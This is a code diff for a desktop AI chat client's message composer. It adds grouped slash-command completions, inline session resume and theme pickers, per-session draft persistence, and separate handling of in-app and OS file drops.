import type { CompletionEntry, CompletionPayload } from './use-live-completion-adapter'
import { useLiveCompletionAdapter } from './use-live-completion-adapter'
@@ -16,7 +21,10 @@ interface SlashItemMetadata extends Record
{
command: string
display: string
meta: string
+ group: string
rawText: string
+ /** Completion-action id; empty for ordinary insert-a-chip completions. */
+ action: string
}
function textValue(value: unknown, fallback = ''): string {
@@ -38,12 +46,21 @@ function commandText(value: string): string {
return value.startsWith('/') ? value : `/${value}`
}
+/** How many recent sessions to surface inline before the "Browse all…" entry. */
+const SESSION_INLINE_LIMIT = 7
+
/** Live `/` completions backed by the gateway's `complete.slash` RPC. */
-export function useSlashCompletions(options: { gateway: HermesGateway | null }): {
+export function useSlashCompletions(options: {
+ gateway: HermesGateway | null
+ /** Desktop theme list — `/skin` is owned client-side, so its arg completions
+ * come from here, not the backend (whose skin list is CLI/TUI-only). */
+ skinThemes?: DesktopThemeCommandOption[]
+ activeSkin?: string
+}): {
adapter: Unstable_TriggerAdapter
loading: boolean
} {
- const { gateway } = options
+ const { gateway, skinThemes, activeSkin } = options
const enabled = Boolean(gateway)
const fetcher = useCallback(
@@ -54,34 +71,136 @@ export function useSlashCompletions(options: { gateway: HermesGateway | null }):
const text = `/${query}`
+ // The desktop owns /skin entirely (client-side theme context). Surface its
+ // theme list inside this single popover instead of a bespoke one, and skip
+ // the backend skin completions (which describe CLI/TUI skins that don't
+ // apply here). Matches once we're past `/skin ` into the arg stage.
+ const skinArg = /^\/skin\s+(.*)$/is.exec(text)
+
+ if (skinArg && skinThemes) {
+ const items = desktopSkinSlashCompletions(skinThemes, activeSkin ?? '', skinArg[1] ?? '').map(entry => ({
+ text: entry.text,
+ display: entry.display,
+ meta: entry.meta,
+ group: 'Themes'
+ }))
+
+ return { items, query }
+ }
+
+ // /resume (and its aliases) completes recent sessions inline — the same
+ // client-side list the picker overlay shows — instead of the backend
+ // (whose /resume opens an interactive TUI picker we can't render here).
+ const sessionArg = /^\/(?:resume|sessions|switch)\s+(.*)$/is.exec(text)
+
+ if (sessionArg) {
+ const needle = (sessionArg[1] ?? '').trim().toLowerCase()
+
+ const matches = (
+ needle
+ ? $sessions.get().filter(
+ session =>
+ sessionTitle(session).toLowerCase().includes(needle) ||
+ (session.preview ?? '').toLowerCase().includes(needle) ||
+ session.id.toLowerCase().includes(needle)
+ )
+ : $sessions.get()
+ ).slice(0, SESSION_INLINE_LIMIT)
+
+ const items: CompletionEntry[] = matches.map(session => ({
+ text: `/resume ${session.id}`,
+ display: sessionTitle(session),
+ meta: (session.preview ?? '').trim(),
+ group: 'Sessions'
+ }))
+
+ // Trailing "more" affordance (Cursor-style): picking it opens the full
+ // session picker overlay directly. `text` stays a bare `/resume` so that
+ // submitting it (Enter) still opens the overlay if the action is skipped.
+ items.push({
+ text: '/resume',
+ display: 'Browse all sessions…',
+ meta: '',
+ group: 'Sessions',
+ action: 'session-picker'
+ })
+
+ return { items, query }
+ }
+
try {
if (!query) {
const catalog = filterDesktopCommandsCatalog(await gateway.request('commands.catalog'))
- const items = (catalog.pairs ?? []).map(([command, meta]) => ({
- text: command,
- display: command,
- meta
- }))
+ // Prefer the categorized layout so the popover renders section headers
+ // (Session, Tools & Skills, ...). Fall back to the flat list when the
+ // backend didn't categorize.
+ const sections = catalog.categories?.length
+ ? catalog.categories
+ : [{ name: '', pairs: catalog.pairs ?? [] }]
+
+ const items = sections.flatMap(section =>
+ section.pairs.map(([command, meta]) => ({
+ text: command,
+ display: command,
+ group: section.name || undefined,
+ meta
+ }))
+ )
return { items, query }
}
- const result = await gateway.request<{ items?: CompletionEntry[] }>('complete.slash', { text })
-
- const items = (result.items ?? [])
- .filter(item => isDesktopSlashSuggestion(item.text))
+ const result = await gateway.request<{ items?: CompletionEntry[]; replace_from?: number }>(
+ 'complete.slash',
+ { text }
+ )
+
+ // Arg-completion items (replace_from > 1) carry just the arg stub —
+ // e.g. complete.slash returns `{text: "alice"}` for `/personality alic`
+ // with replace_from = 14. Rewrite those entries so the popover inserts
+ // the full `/personality alice` token instead of stranding `/alice`.
+ const replaceFrom = typeof result.replace_from === 'number' ? result.replace_from : 1
+ const isArgCompletion = replaceFrom > 1
+ const prefix = isArgCompletion ? text.slice(0, replaceFrom) : ''
+
+ const decorated = (result.items ?? [])
+ .map(item => {
+ if (!isArgCompletion) {
+ return item
+ }
+
+ const argText = typeof item.text === 'string' ? item.text : ''
+
+ return { ...item, text: `${prefix}${argText}` }
+ })
+ .filter(item => isArgCompletion || isDesktopSlashSuggestion(item.text))
.map(item => ({
...item,
- meta: desktopSlashDescription(item.text, textValue(item.meta))
+ // Arg suggestions (e.g. `/handoff `) live under one
+ // header; otherwise split skills out from built-in commands.
+ group: isArgCompletion ? 'Options' : isDesktopSlashExtensionCommand(item.text) ? 'Skills' : 'Commands',
+ // Arg items carry their own meta (the personality/toolset/platform
+ // blurb). Only command rows get the registry description — looking
+ // one up for `/personality none` would clobber it with the parent
+ // command's text.
+ meta: isArgCompletion ? textValue(item.meta) : desktopSlashDescription(item.text, textValue(item.meta))
}))
+ // Keep each group contiguous so headers render once: Commands before
+ // Skills (stable within a group, preserving backend relevance order).
+ const groupOrder = ['Commands', 'Skills', 'Options']
+
+ const items = isArgCompletion
+ ? decorated
+ : [...decorated].sort((a, b) => groupOrder.indexOf(a.group) - groupOrder.indexOf(b.group))
+
return { items, query }
} catch {
return { items: [], query }
}
},
- [gateway]
+ [gateway, skinThemes, activeSkin]
)
const toItem = useCallback((entry: CompletionEntry, index: number): Unstable_TriggerItem => {
@@ -93,6 +212,8 @@ export function useSlashCompletions(options: { gateway: HermesGateway | null }):
command,
display,
meta,
+ group: textValue(entry.group),
+ action: textValue(entry.action),
// Provide rawText so hermesDirectiveFormatter.serialize uses the
// direct-insertion path instead of the legacy @type:id fallback.
// Without this, the item.id (which includes a "|index" suffix for
diff --git a/apps/desktop/src/app/chat/composer/index.tsx b/apps/desktop/src/app/chat/composer/index.tsx
index 9041fe89505a..94e80d6bec30 100644
--- a/apps/desktop/src/app/chat/composer/index.tsx
+++ b/apps/desktop/src/app/chat/composer/index.tsx
@@ -13,17 +13,25 @@ import {
useState
} from 'react'
-import { hermesDirectiveFormatter } from '@/components/assistant-ui/directive-text'
+import { hermesDirectiveFormatter, type SlashChipKind } from '@/components/assistant-ui/directive-text'
import { Button } from '@/components/ui/button'
import { useMediaQuery } from '@/hooks/use-media-query'
import { useResizeObserver } from '@/hooks/use-resize-observer'
import { useI18n } from '@/i18n'
import { chatMessageText } from '@/lib/chat-messages'
import { SLASH_COMMAND_RE } from '@/lib/chat-runtime'
+import { desktopSlashCommandTakesArgs } from '@/lib/desktop-slash-commands'
import { DATA_IMAGE_URL_RE } from '@/lib/embedded-images'
import { triggerHaptic } from '@/lib/haptics'
import { cn } from '@/lib/utils'
-import { $composerAttachments, clearComposerAttachments, type ComposerAttachment } from '@/store/composer'
+import {
+ $composerAttachments,
+ clearComposerAttachments,
+ clearSessionDraft,
+ type ComposerAttachment,
+ stashSessionDraft,
+ takeSessionDraft
+} from '@/store/composer'
import {
browseBackward,
browseForward,
@@ -40,10 +48,11 @@ import {
shouldAutoDrainOnSettle,
updateQueuedPrompt
} from '@/store/composer-queue'
-import { $gatewayState, $messages } from '@/store/session'
+import { $gatewayState, $messages, setSessionPickerOpen } from '@/store/session'
import { $threadScrolledUp } from '@/store/thread-scroll'
+import { useTheme } from '@/themes'
-import { extractDroppedFiles, HERMES_PATHS_MIME } from '../hooks/use-composer-actions'
+import { extractDroppedFiles, HERMES_PATHS_MIME, partitionDroppedFiles } from '../hooks/use-composer-actions'
import { AttachmentList } from './attachments'
import { ContextMenu } from './context-menu'
@@ -64,7 +73,7 @@ import { useVoiceConversation } from './hooks/use-voice-conversation'
import { useVoiceRecorder } from './hooks/use-voice-recorder'
import {
dragHasAttachments,
- droppedFileInlineRef,
+ droppedFileInlineRefs,
type InlineRefInput,
insertInlineRefsIntoEditor
} from './inline-refs'
@@ -74,9 +83,9 @@ import {
placeCaretEnd,
refChipElement,
renderComposerContents,
- RICH_INPUT_SLOT
+ RICH_INPUT_SLOT,
+ slashChipElement
} from './rich-editor'
-import { SkinSlashPopover } from './skin-slash-popover'
import { detectTrigger, extractClipboardImageBlobs, textBeforeCaret, type TriggerState } from './text-utils'
import { ComposerTriggerPopover } from './trigger-popover'
import type { ChatBarProps } from './types'
@@ -95,6 +104,30 @@ const COMPOSER_FADE_BACKGROUND =
const pickPlaceholder = (pool: readonly string[]) => pool[Math.floor(Math.random() * pool.length)]
+/** Completion items can carry an `action` (set in use-slash-completions) that
+ * runs a side effect on pick instead of inserting a chip — e.g. the session
+ * picker's "Browse all…" entry opens the overlay. Table-driven so new action
+ * items are a registry row, not a composer branch. */
+const COMPLETION_ACTIONS: Record void> = {
+ 'session-picker': () => setSessionPickerOpen(true)
+}
+
+/** Map a picked `/` completion to its pill accent. Driven by the completion
+ * group set in use-slash-completions (Skills / Themes / Commands|Options). */
+function slashChipKindForItem(item: Unstable_TriggerItem): SlashChipKind {
+ const group = (item.metadata as { group?: unknown } | undefined)?.group
+
+ if (group === 'Skills') {
+ return 'skill'
+ }
+
+ if (group === 'Themes') {
+ return 'theme'
+ }
+
+ return 'command'
+}
+
interface QueueEditState {
attachments: ComposerAttachment[]
draft: string
@@ -104,6 +137,10 @@ interface QueueEditState {
const cloneAttachments = (attachments: ComposerAttachment[]) => attachments.map(a => ({ ...a }))
+// Quiet period after the last keystroke before persisting the draft;
+// unmount/pagehide flushes bypass it.
+const DRAFT_PERSIST_DEBOUNCE_MS = 400
+
export function ChatBar({
busy,
cwd,
@@ -145,6 +182,9 @@ export function ChatBar({
const editorRef = useRef(null)
const draftRef = useRef(draft)
const previousBusyRef = useRef(busy)
+ const pendingDraftPersistRef = useRef<{ scope: string | null; text: string } | null>(null)
+ const activeQueueSessionKeyRef = useRef(activeQueueSessionKey)
+ activeQueueSessionKeyRef.current = activeQueueSessionKey
const drainingQueueRef = useRef(false)
const urlInputRef = useRef(null)
@@ -156,14 +196,17 @@ export function ChatBar({
const [dragActive, setDragActive] = useState(false)
const [queueEdit, setQueueEdit] = useState(null)
const [focusRequestId, setFocusRequestId] = useState(0)
+ const queueEditRef = useRef(queueEdit)
+ queueEditRef.current = queueEdit
const dragDepthRef = useRef(0)
const composingRef = useRef(false) // true during IME composition (CJK input)
const lastSpokenIdRef = useRef(null)
const narrow = useMediaQuery('(max-width: 30rem)')
+ const { availableThemes, themeName } = useTheme()
const at = useAtCompletions({ gateway: gateway ?? null, sessionId: sessionId ?? null, cwd: cwd ?? null })
- const slash = useSlashCompletions({ gateway: gateway ?? null })
+ const slash = useSlashCompletions({ activeSkin: themeName, gateway: gateway ?? null, skinThemes: availableThemes })
const stacked = expanded || narrow || tight
const trimmedDraft = draft.trim()
@@ -171,10 +214,12 @@ export function ChatBar({
const canSubmit = busy || hasComposerPayload
const editingQueuedPrompt = queueEdit ? (queuedPrompts.find(entry => entry.id === queueEdit.entryId) ?? null) : null
const busyAction = busy && hasComposerPayload ? 'queue' : 'stop'
+
// Steer only makes sense mid-turn, text-only (the gateway can't carry images
// into a tool result) and never for a slash command (those execute inline).
const canSteer =
busy && !!onSteer && attachments.length === 0 && trimmedDraft.length > 0 && !SLASH_COMMAND_RE.test(trimmedDraft)
+
const showHelpHint = draft === '?'
const { t } = useI18n()
@@ -462,12 +507,6 @@ export function ChatBar({
})
}, [])
- const selectSkinSlashCommand = (command: string) => {
- draftRef.current = command
- aui.composer().setText(command)
- requestMainFocus()
- }
-
const handlePaste = (event: ClipboardEvent) => {
const imageBlobs = extractClipboardImageBlobs(event.clipboardData)
@@ -620,16 +659,50 @@ export function ChatBar({
return
}
+ // Action items (e.g. "Browse all sessions…") run a side effect instead of
+ // inserting a chip: strip the typed trigger token, then fire the action.
+ const completionAction = (item.metadata as { action?: unknown } | undefined)?.action
+ const runAction = typeof completionAction === 'string' ? COMPLETION_ACTIONS[completionAction] : undefined
+
+ if (runAction) {
+ const current = composerPlainText(editor)
+ const prefix = current.slice(0, Math.max(0, current.length - trigger.tokenLength))
+
+ renderComposerContents(editor, prefix)
+ placeCaretEnd(editor)
+ draftRef.current = composerPlainText(editor)
+ aui.composer().setText(draftRef.current)
+ closeTrigger()
+ runAction()
+ requestMainFocus()
+
+ return
+ }
+
const serialized = hermesDirectiveFormatter.serialize(item)
const starter = serialized.endsWith(':')
+
+ // Picking a bare arg-taking command (e.g. `/personality`) shouldn't commit
+ // it — expand to its options step so the popover shows the inline list, just
+ // as typing `/personality ` by hand would. A serialized value with a space is
+ // already an arg pick (`/personality alice`), so it commits normally.
+ const command = (item.metadata as { command?: string } | undefined)?.command ?? ''
+
+ const expandsToArgs =
+ trigger.kind === '/' && !serialized.includes(' ') && desktopSlashCommandTakesArgs(command)
+
const text = starter || serialized.endsWith(' ') ? serialized : `${serialized} `
const directive = !starter && serialized.match(/^@([^:]+):(.+)$/)
+ // No pill while expanding — the bare command stays plain text until an arg
+ // is picked, at which point a single pill is emitted for the full command.
+ const slashKind = !expandsToArgs && trigger.kind === '/' ? slashChipKindForItem(item) : null
+ const keepTriggerOpen = starter || expandsToArgs
const finish = () => {
draftRef.current = composerPlainText(editor)
aui.composer().setText(draftRef.current)
requestMainFocus()
- starter ? window.setTimeout(refreshTrigger, 0) : closeTrigger()
+ keepTriggerOpen ? window.setTimeout(refreshTrigger, 0) : closeTrigger()
}
const sel = window.getSelection()
@@ -639,7 +712,20 @@ export function ChatBar({
if (!sel || !range || node?.nodeType !== Node.TEXT_NODE || offset < trigger.tokenLength) {
const current = composerPlainText(editor)
- renderComposerContents(editor, `${current.slice(0, Math.max(0, current.length - trigger.tokenLength))}${text}`)
+ const prefix = current.slice(0, Math.max(0, current.length - trigger.tokenLength))
+
+ if (slashKind) {
+ // Two-step arg picks (e.g. `/handoff` pill already inserted, now picking
+ // the platform) land here because the caret sits past a contenteditable
+ // chip. Rebuild the prefix and re-emit a single pill for the full command.
+ renderComposerContents(editor, prefix)
+ editor.append(slashChipElement(serialized, slashKind), document.createTextNode(' '))
+ placeCaretEnd(editor)
+
+ return finish()
+ }
+
+ renderComposerContents(editor, `${prefix}${text}`)
placeCaretEnd(editor)
return finish()
@@ -650,8 +736,13 @@ export function ChatBar({
replaceRange.setEnd(node, offset)
replaceRange.deleteContents()
- if (directive) {
- const chip = refChipElement(directive[1], directive[2])
+ const chip = slashKind
+ ? slashChipElement(serialized, slashKind)
+ : directive
+ ? refChipElement(directive[1], directive[2])
+ : null
+
+ if (chip) {
const space = document.createTextNode(' ')
const fragment = document.createDocumentFragment()
fragment.append(chip, space)
@@ -814,7 +905,16 @@ export function ChatBar({
if (event.key === 'Enter' && !event.shiftKey) {
event.preventDefault()
- if (!busy && !hasComposerPayload && queuedPrompts.length > 0) {
+ // Decide from the DOM, not React state. `hasComposerPayload` is derived
+ // from the AUI composer state, which lags the latest keystroke by a
+ // render, so on fast typing / IME the just-typed text isn't in state yet.
+ // Without the live read, a real message typed while prompts are queued
+ // would drain the queue instead of sending. submitDraft() re-syncs and
+ // sends the live editor text.
+ const editorText = editorRef.current ? composerPlainText(editorRef.current) : draftRef.current
+ const hasLivePayload = editorText.trim().length > 0 || attachments.length > 0
+
+ if (!busy && !hasLivePayload && queuedPrompts.length > 0) {
void drainNextQueued()
return
@@ -822,7 +922,10 @@ export function ChatBar({
// Empty Enter while busy is a no-op — interrupting is explicit (Stop/Esc),
// never a stray Enter after sending. With a payload, submitDraft queues it.
- if (busy && !hasComposerPayload) {
+ // Gate on the live DOM payload (not the render-lagged composer state) so a
+ // message typed fast / via IME while busy still reaches submitDraft() and
+ // gets queued instead of being mistaken for an empty Enter.
+ if (busy && !hasLivePayload) {
return
}
@@ -919,24 +1022,25 @@ export function ChatBar({
return
}
- if (Array.from(event.dataTransfer.types || []).includes(HERMES_PATHS_MIME)) {
- const refs = candidates
- .map(candidate => droppedFileInlineRef(candidate, cwd))
- .filter((ref): ref is string => Boolean(ref))
-
- if (insertInlineRefs(refs)) {
- triggerHaptic('selection')
- }
+ // In-app drags (project tree / gutter) are workspace-relative paths the
+ // gateway resolves directly, so they stay inline @file:/@line: refs. OS
+ // drops are absolute local paths a remote gateway can't read (and images
+ // need byte upload for vision), so route them through the upload pipeline.
+ const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+ const refs = droppedFileInlineRefs(inAppRefs, cwd)
- return
+ if (refs.length && insertInlineRefs(refs)) {
+ triggerHaptic('selection')
}
- void Promise.resolve(onAttachDroppedItems(candidates)).then(attached => {
- if (attached) {
- triggerHaptic('selection')
- requestMainFocus()
- }
- })
+ if (osDrops.length) {
+ void Promise.resolve(onAttachDroppedItems(osDrops)).then(attached => {
+ if (attached) {
+ triggerHaptic('selection')
+ requestMainFocus()
+ }
+ })
+ }
}
const handleInputDragOver = (event: ReactDragEvent) => {
@@ -956,11 +1060,7 @@ export function ChatBar({
const candidates = extractDroppedFiles(event.dataTransfer)
- const refs = candidates
- .map(candidate => droppedFileInlineRef(candidate, cwd))
- .filter((ref): ref is string => Boolean(ref))
-
- if (!refs.length) {
+ if (!candidates.length) {
return
}
@@ -968,9 +1068,27 @@ export function ChatBar({
event.stopPropagation()
resetDragState()
- if (insertInlineRefs(refs)) {
+ // Dropping straight onto the text box used to inline-ref *every* file —
+ // including OS/Finder drops, whose absolute local path a remote gateway
+ // can't read and whose image bytes never reached vision. Split by origin:
+ // in-app drags stay inline refs; OS drops go through the upload pipeline.
+ // (When no upload handler is wired, fall back to inline refs for all.)
+ const attach = onAttachDroppedItems
+ const { inAppRefs, osDrops } = partitionDroppedFiles(candidates)
+ const refs = droppedFileInlineRefs(attach ? inAppRefs : candidates, cwd)
+
+ if (refs.length && insertInlineRefs(refs)) {
triggerHaptic('selection')
}
+
+ if (attach && osDrops.length) {
+ void Promise.resolve(attach(osDrops)).then(attached => {
+ if (attached) {
+ triggerHaptic('selection')
+ requestMainFocus()
+ }
+ })
+ }
}
const clearDraft = useCallback(() => {
@@ -995,6 +1113,69 @@ export function ChatBar({
}
}
+ const stashAt = (
+ scope: string | null,
+ text = draftRef.current,
+ attachments = $composerAttachments.get()
+ ) => stashSessionDraft(scope, text, attachments)
+
+ // Per-thread draft swap — the composer's only session coupling. Lifecycle
+ // never clears composer state; this effect alone stashes on leave, restores
+ // on enter. Keyed writes are idempotent, so no skip-sentinel.
+ useEffect(() => {
+ const { attachments, text } = takeSessionDraft(activeQueueSessionKey)
+ loadIntoComposer(text, attachments)
+
+ return () => {
+ const editing = queueEditRef.current
+
+ if (editing?.sessionKey === activeQueueSessionKey) {
+ stashAt(activeQueueSessionKey, editing.draft, editing.attachments)
+ } else if (!isBrowsingHistory(sessionId)) {
+ stashAt(activeQueueSessionKey)
+ }
+ }
+ }, [activeQueueSessionKey]) // eslint-disable-line react-hooks/exhaustive-deps
+
+ // Debounced stash into the active scope. Skipped while browsing history or
+ // editing a queued prompt — recalled text must not clobber the real draft.
+ useEffect(() => {
+ if (isBrowsingHistory(sessionId) || queueEdit) {
+ return
+ }
+
+ pendingDraftPersistRef.current = { scope: activeQueueSessionKey, text: draft }
+
+ const handle = window.setTimeout(() => {
+ pendingDraftPersistRef.current = null
+ stashAt(activeQueueSessionKey, draft)
+ }, DRAFT_PERSIST_DEBOUNCE_MS)
+
+ return () => window.clearTimeout(handle)
+ }, [activeQueueSessionKey, draft, queueEdit, sessionId])
+
+ // pagehide is load-bearing: React skips effect cleanups on reload, so Cmd+R
+ // inside the debounce window would drop trailing keystrokes without this.
+ useEffect(() => {
+ const flushPendingDraftPersist = () => {
+ const pending = pendingDraftPersistRef.current
+
+ if (!pending) {
+ return
+ }
+
+ pendingDraftPersistRef.current = null
+ stashAt(pending.scope, pending.text)
+ }
+
+ window.addEventListener('pagehide', flushPendingDraftPersist)
+
+ return () => {
+ window.removeEventListener('pagehide', flushPendingDraftPersist)
+ flushPendingDraftPersist()
+ }
+ }, [])
+
const beginQueuedEdit = (entry: QueuedPromptEntry) => {
if (!activeQueueSessionKey || queueEdit) {
return
@@ -1197,21 +1378,61 @@ export function ChatBar({
}
}, [busy, drainNextQueued, queuedPrompts.length])
- // Clean up queue edit when its target disappears (session swap or external delete).
+ // Queue-edit cleanup: on session swap the scope effect already stashed the
+ // edit snapshot; only restore into the composer when still on the same scope.
useEffect(() => {
if (!queueEdit) {
return
}
- if (queueEdit.sessionKey === activeQueueSessionKey && editingQueuedPrompt) {
- return
+ if (queueEdit.sessionKey === activeQueueSessionKey) {
+ if (editingQueuedPrompt) {
+ return
+ }
+
+ loadIntoComposer(queueEdit.draft, queueEdit.attachments)
}
- loadIntoComposer(queueEdit.draft, queueEdit.attachments)
setQueueEdit(null)
}, [activeQueueSessionKey, editingQueuedPrompt, queueEdit]) // eslint-disable-line react-hooks/exhaustive-deps
+ const dispatchSubmit = (text: string, attachments?: ComposerAttachment[]) => {
+ const submittedScope = activeQueueSessionKeyRef.current
+ const submittedAttachments = attachments ?? []
+
+ const restore = () => {
+ loadIntoComposer(text, submittedAttachments)
+ stashAt(activeQueueSessionKeyRef.current, text, submittedAttachments)
+ }
+
+ void Promise.resolve(attachments ? onSubmit(text, { attachments }) : onSubmit(text))
+ .then(accepted => void (accepted === false ? restore() : clearSessionDraft(submittedScope)))
+ .catch(restore)
+ }
+
const submitDraft = () => {
+ // Source the text from the DOM editor, not React state. The AUI composer
+ // state (`draft`) and the derived `hasComposerPayload` lag the DOM by a
+ // render, so on fast typing or IME composition the final keystroke(s) may
+ // not have synced yet — reading state here drops the message (Enter looks
+ // like it does nothing; typing a trailing space only "fixes" it because the
+ // extra input event forces a state sync). draftRef is updated on every
+ // input event; refresh it from the editor once more to also cover an
+ // in-flight keystroke that hasn't fired its input event yet.
+ const editor = editorRef.current
+
+ if (editor) {
+ const domText = composerPlainText(editor)
+
+ if (domText !== draftRef.current) {
+ draftRef.current = domText
+ aui.composer().setText(domText)
+ }
+ }
+
+ const text = draftRef.current
+ const payloadPresent = text.trim().length > 0 || attachments.length > 0
+
if (queueEdit) {
exitQueuedEdit('save')
} else if (busy) {
@@ -1222,12 +1443,11 @@ export function ChatBar({
// busy guard for commands that genuinely need an idle session (skill
// /send directives). Queuing them would make every slash command wait
// for the current turn to finish, which is how the TUI never behaves.
- if (!attachments.length && SLASH_COMMAND_RE.test(draft.trim())) {
- const submitted = draft
+ if (!attachments.length && SLASH_COMMAND_RE.test(text.trim())) {
triggerHaptic('submit')
clearDraft()
- void onSubmit(submitted)
- } else if (hasComposerPayload) {
+ dispatchSubmit(text)
+ } else if (payloadPresent) {
queueCurrentDraft()
} else {
// Stop button (the only way to reach here while busy with an empty
@@ -1235,15 +1455,15 @@ export function ChatBar({
triggerHaptic('cancel')
void Promise.resolve(onCancel())
}
- } else if (!hasComposerPayload && queuedPrompts.length > 0) {
+ } else if (!payloadPresent && queuedPrompts.length > 0) {
void drainNextQueued()
- } else if (draft.trim() || attachments.length > 0) {
- const submitted = draft
+ } else if (payloadPresent) {
+ const submittedAttachments = cloneAttachments(attachments)
triggerHaptic('submit')
resetBrowseState(sessionId)
clearDraft()
clearComposerAttachments()
- void onSubmit(submitted, { attachments })
+ dispatchSubmit(text, submittedAttachments)
}
focusInput()
@@ -1410,7 +1630,7 @@ export function ChatBar({
onPaste={handlePaste}
ref={editorRef}
role="textbox"
- spellCheck="true"
+ spellCheck={false}
suppressContentEditableWarning
/>
{/* assistant-ui requires ComposerPrimitive.Input somewhere in the tree
@@ -1429,7 +1649,15 @@ export function ChatBar({
`asChild` swaps TextareaAutosize for a Radix Slot wrapping our
plain
)
@@ -1468,7 +1696,6 @@ export function ChatBar({
onPick={replaceTriggerWithChip}
/>
)}
-
{activeQueueSessionKey && queuedPrompts.length > 0 && (
// Out of flow so the queue never inflates the composer's measured
// height (that drives thread bottom padding → chat resizes on
diff --git a/apps/desktop/src/app/chat/composer/inline-refs.ts b/apps/desktop/src/app/chat/composer/inline-refs.ts
index c8fa48d6e8a6..9aae24db4c5e 100644
--- a/apps/desktop/src/app/chat/composer/inline-refs.ts
+++ b/apps/desktop/src/app/chat/composer/inline-refs.ts
@@ -83,6 +83,12 @@ export function droppedFileInlineRef(candidate: DroppedFile, cwd: string | null
return `@${kind}:${formatRefValue(rel)}`
}
+/** Resolve a batch of drops to their inline `@file:`/`@line:`/`@folder:` refs,
+ * dropping any that carry no path. */
+export function droppedFileInlineRefs(candidates: DroppedFile[], cwd: string | null | undefined): string[] {
+ return candidates.map(candidate => droppedFileInlineRef(candidate, cwd)).filter((ref): ref is string => Boolean(ref))
+}
+
export function insertInlineRefsIntoEditor(editor: HTMLDivElement, refs: readonly InlineRefInput[]) {
if (!refs.length) {
return null
diff --git a/apps/desktop/src/app/chat/composer/rich-editor.ts b/apps/desktop/src/app/chat/composer/rich-editor.ts
index 38ab85d0f353..ea6382f9abd1 100644
--- a/apps/desktop/src/app/chat/composer/rich-editor.ts
+++ b/apps/desktop/src/app/chat/composer/rich-editor.ts
@@ -10,7 +10,10 @@ import {
DIRECTIVE_CHIP_CLASS,
directiveIconElement,
directiveIconSvg,
- formatRefValue
+ formatRefValue,
+ slashChipClass,
+ type SlashChipKind,
+ slashIconElement
} from '@/components/assistant-ui/directive-text'
export const RICH_INPUT_SLOT = 'composer-rich-input'
@@ -77,6 +80,24 @@ export function refChipElement(kind: string, rawValue: string, displayLabel?: st
return chip
}
+/** A non-editable pill for a picked slash command (`/skin nous`, `/tropes`).
+ * `data-ref-text` carries the literal command so `composerPlainText` round-trips
+ * it back to the exact text that gets submitted. */
+export function slashChipElement(command: string, kind: SlashChipKind, label?: string) {
+ const chip = document.createElement('span')
+ const text = document.createElement('span')
+
+ chip.contentEditable = 'false'
+ chip.dataset.refText = command
+ chip.dataset.slashKind = kind
+ chip.className = slashChipClass(kind)
+ text.className = 'truncate'
+ text.textContent = label || command
+ chip.append(slashIconElement(kind), text)
+
+ return chip
+}
+
function appendTextWithBreaks(target: DocumentFragment | HTMLElement, text: string) {
const lines = text.split('\n')
diff --git a/apps/desktop/src/app/chat/composer/skin-slash-popover.tsx b/apps/desktop/src/app/chat/composer/skin-slash-popover.tsx
deleted file mode 100644
index 2bfc27e51ad4..000000000000
--- a/apps/desktop/src/app/chat/composer/skin-slash-popover.tsx
+++ /dev/null
@@ -1,61 +0,0 @@
-import { useI18n } from '@/i18n'
-import { desktopSkinSlashCompletions } from '@/lib/desktop-slash-commands'
-import { triggerHaptic } from '@/lib/haptics'
-import { useTheme } from '@/themes/context'
-
-import { COMPLETION_DRAWER_CLASS, COMPLETION_DRAWER_ROW_CLASS, CompletionDrawerEmpty } from './completion-drawer'
-
-interface SkinSlashPopoverProps {
- draft: string
- onSelect: (command: string) => void
-}
-
-export function SkinSlashPopover({ draft, onSelect }: SkinSlashPopoverProps) {
- const { t } = useI18n()
- const c = t.composer
- const { availableThemes, themeName } = useTheme()
- const match = draft.match(/^\/skin\s+(\S*)$/i)
-
- if (!match) {
- return null
- }
-
- const items = desktopSkinSlashCompletions(availableThemes, themeName, match[1] ?? '')
-
- return (
-
-
- {items.length === 0 ? (
-
- {c.themeTryPre}
- /skin list
- {c.themeTryPost}
-
- ) : (
- items.map(item => (
- {
- triggerHaptic('selection')
- onSelect(item.text)
- }}
- onMouseDown={event => event.preventDefault()}
- role="option"
- type="button"
- >
- {item.display}
- {item.meta}
-
- ))
- )}
-
-
- )
-}
diff --git a/apps/desktop/src/app/chat/composer/text-utils.test.ts b/apps/desktop/src/app/chat/composer/text-utils.test.ts
index 5ef677f4d0fe..f80e6db4385d 100644
--- a/apps/desktop/src/app/chat/composer/text-utils.test.ts
+++ b/apps/desktop/src/app/chat/composer/text-utils.test.ts
@@ -22,6 +22,33 @@ describe('detectTrigger', () => {
it('returns null for plain text', () => {
expect(detectTrigger('hello there')).toBeNull()
})
+
+ it('keeps the slash trigger live while typing args', () => {
+ expect(detectTrigger('/personality ')).toEqual({
+ kind: '/',
+ query: 'personality ',
+ tokenLength: 13
+ })
+ expect(detectTrigger('/personality alic')).toEqual({
+ kind: '/',
+ query: 'personality alic',
+ tokenLength: 17
+ })
+ expect(detectTrigger('/tools enable foo')).toEqual({
+ kind: '/',
+ query: 'tools enable foo',
+ tokenLength: 17
+ })
+ })
+
+ it('does not treat file-style paths as slash triggers', () => {
+ expect(detectTrigger('src/foo/bar')).toBeNull()
+ expect(detectTrigger('/path/to/file')).toBeNull()
+ })
+
+ it('still anchors at-mention triggers strictly at the token edge', () => {
+ expect(detectTrigger('@file:path with space')).toBeNull()
+ })
})
describe('extractClipboardImageBlobs', () => {
diff --git a/apps/desktop/src/app/chat/composer/text-utils.ts b/apps/desktop/src/app/chat/composer/text-utils.ts
index e9a8fb6aaee7..4535d6963c3a 100644
--- a/apps/desktop/src/app/chat/composer/text-utils.ts
+++ b/apps/desktop/src/app/chat/composer/text-utils.ts
@@ -6,7 +6,13 @@ export interface TriggerState {
tokenLength: number
}
-const TRIGGER_RE = /(?:^|[\s])([@/])([^\s@/]*)$/
+// `@` triggers stop at the first whitespace — `@file:path` and `@diff` are
+// single tokens. `/` triggers keep going so the popover stays live while the
+// user types args (`/personality alic` → arg completer suggests `alice`).
+// Restricting the slash command name to `[a-zA-Z][\w-]*` avoids matching file
+// paths like `src/foo/bar`.
+const AT_TRIGGER_RE = /(?:^|[\s])(@)([^\s@/]*)$/
+const SLASH_TRIGGER_RE = /(?:^|[\s])(\/)((?:[a-zA-Z][\w-]*(?:\s+\S*)*)?)$/
/** Stable key for paste dedupe — `items` and `files` often mirror the same image as different objects. */
export function blobDedupeKey(blob: Blob): string {
@@ -97,11 +103,17 @@ export function textBeforeCaret(editor: HTMLDivElement): string | null {
}
